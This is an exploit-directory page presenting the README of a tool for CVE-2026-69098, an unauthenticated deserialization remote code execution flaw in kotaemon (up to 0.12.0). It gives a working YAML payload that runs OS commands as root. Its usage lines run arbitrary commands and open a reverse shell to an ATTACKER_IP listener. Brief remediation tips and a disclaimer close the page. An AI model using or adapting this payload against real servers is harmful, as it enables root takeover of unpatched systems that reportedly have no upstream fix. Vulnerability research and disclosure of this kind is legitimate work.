Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-69098_exploit | Kitploit
Tools/GitHubGitHub/0xdak/cve-2026-69098_exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHub0xdak/cve-2026-69098_exploit

CVE-2026-69098_exploit

View Repository
15 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-69098 — kotaemon unauthenticated deserialization RCE

Unauthenticated remote code execution in kotaemon (<= 0.12.0) via insecure deserialization in the LLM-settings connection check.

The bug

kotaemon's LLM-settings check_connection Gradio handler (libs/ktem/ktem/llms/ui.py) parses an attacker-supplied YAML spec and deserializes it unsafely:

root@kitploit:~
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader)   # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False)                    # <-- safe=False

theflow.deserialize(..., safe=False) (theflow/utils/modules.py) resolves a spec's __type__ key through import_dotted_string with no allowlist, then instantiates it with attacker-controlled kwargs:

root@kitploit:~
if isinstance(value, dict) and "__type__" in value:
    cls = import_dotted_string(value["__type__"], safe=False)   # imports ANY dotted path
    params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
    return cls(**params)                                        # instantiates with attacker kwargs

So a spec whose __type__ is subprocess.check_output runs an OS command during deserialization (CWE-502).

Two things make it a clean unauthenticated RCE:

  • No auth — kotaemon's Gradio app is launched without auth=. The "login" only toggles the visibility of UI tabs; every registered event handler is publicly callable. KH_FEATURE_USER_MANAGEMENT does not gate the HTTP/queue API.
  • No model / API key needed — info["spec"].update(<attacker yaml>) fully overrides the LLM spec, so the payload never contacts any real LLM provider.

kotaemon's official Docker image runs as root, so the RCE lands as root. No upstream fix at time of writing.

Payload

The delivered YAML spec:

root@kitploit:~
__type__: unittest.mock.Mock
return_value:
  __type__: subprocess.check_output
  args: [sh, -c, "<cmd>"]
  text: true

deserialize recurses into return_value first → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) executes the command. Wrapping it in unittest.mock.Mock absorbs any leftover base-spec kwargs (model/api_key) so the outer call never breaks, and the command's stdout is echoed back in the handler's Got response: ... message.

Usage

Stdlib only (Python 3). The exploit makes two Gradio calls: create_llm (seed a named LLM entry so llms.info()[name] resolves) then check_connection (deliver the payload).

root@kitploit:~
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
#   -> ... Got response: uid=0(root) gid=0(root) groups=0(root)

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444

If the create_llm / check_connection handler names differ on a target, enumerate them from GET /config (dependencies[].api_name) and adjust.

Affected

kotaemon <= 0.12.0 (default port 7860). No upstream patch available at time of writing.

Remediation

  • Call deserialize with safe=True and an allowed_modules allowlist so no attacker __type__ reaches import_dotted_string.
  • Put kotaemon behind real authentication / a reverse proxy; never expose its Gradio API to untrusted networks.
  • Don't run kotaemon as root.

Disclaimer

For authorized security testing and education only. Use only against systems you own or have explicit permission to test.

Download Tool